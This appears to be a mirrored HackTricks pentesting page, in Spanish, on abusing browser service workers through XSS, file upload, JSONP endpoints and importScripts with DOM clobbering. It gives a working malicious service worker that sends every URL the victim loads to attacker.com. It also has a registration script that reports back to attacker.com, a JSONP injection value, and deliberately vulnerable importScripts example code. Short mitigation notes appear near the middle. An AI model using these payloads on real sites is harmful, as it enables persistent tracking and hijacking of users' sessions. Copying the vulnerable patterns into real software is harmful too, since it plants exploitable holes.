Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

9.9 KiB
Raw Blame History

Abuso de los Service Workers

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Información básica

Un service worker es un script que tu navegador ejecuta en segundo plano, independiente de una página web, abriendo la puerta a funciones que no necesitan una página web o interacción del usuario. (Más información sobre qué es un service worker aquí).
Luego, podrías abusar de los service workers creándolos/modificándolos en la sesión de la víctima dentro del dominio web vulnerable que otorga al atacante el control sobre todas las páginas que la víctima cargará en ese dominio.

Verificar SWs existentes

Puedes verlos en el campo de Service Workers en la pestaña de Application de las Herramientas para desarrolladores. También puedes verlos en chrome://serviceworker-internals.

Notificaciones push

Si la víctima no otorgó permisos de notificaciones push, el service worker no podrá recibir comunicaciones del servidor si el usuario no accede nuevamente a la página del atacante. Esto evitará, por ejemplo, mantener conversaciones con todas las páginas que accedieron a la página web del atacante, por lo que si se encuentra una vulnerabilidad, el SW puede recibirla y ejecutarla.
Sin embargo, si la víctima otorga permisos de notificaciones push, esto podría ser un riesgo.

Ataque creando un Service Worker

Para explotar esta vulnerabilidad, necesitas encontrar:

  • Una forma de subir archivos JS arbitrarios al servidor y un XSS para cargar el service worker del archivo JS subido
  • Una solicitud JSONP vulnerable donde puedas manipular la salida (con código JS arbitrario) y un XSS para cargar el JSONP con un payload que cargará un service worker malicioso.

En el siguiente ejemplo, voy a presentar un código para registrar un nuevo service worker que escuchará el evento fetch y enviará al servidor del atacante cada URL obtenida (este es el código que necesitarías subir al servidor o cargar a través de una respuesta JSONP vulnerable):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Y este es el código que registra el worker (el código que deberías poder ejecutar abusando de un XSS). En este caso, se enviará una solicitud GET al servidor del atacante, notificando si el registro del service worker fue exitoso o no:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En caso de abusar de un punto final JSONP vulnerable, debes colocar el valor dentro de var sw. Por ejemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Hay un C2 dedicado a la explotación de Service Workers llamado Shadow Workers que será muy útil para abusar de estas vulnerabilidades.

En una situación de XSS, la directiva de caché de 24 horas asegura que un SW malicioso o comprometido sobreviva a una solución para la vulnerabilidad de XSS durante un máximo de 24 horas (suponiendo que el cliente esté en línea). Los operadores del sitio pueden reducir la ventana de vulnerabilidad estableciendo TTL más bajos en los scripts de SW. También alentamos a los desarrolladores a crear un SW de interruptor de apagado.

Abusando de importScripts en un SW a través de DOM Clobbering

La función importScripts llamada desde un Service Worker puede importar un script de un dominio diferente. Si esta función se llama utilizando un parámetro que un atacante podría modificar, podría importar un script JS desde su dominio y obtener XSS.

Esto incluso evita las protecciones de CSP.

Código vulnerable de ejemplo:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Con DOM Clobbering

Para obtener más información sobre qué es el DOM Clobbering, consulta:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Si la URL/dominio que el SW está utilizando para llamar a importScripts está dentro de un elemento HTML, es posible modificarlo mediante DOM Clobbering para que el SW cargue un script desde tu propio dominio.

Para ver un ejemplo de esto, consulta el enlace de referencia.

Referencias

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥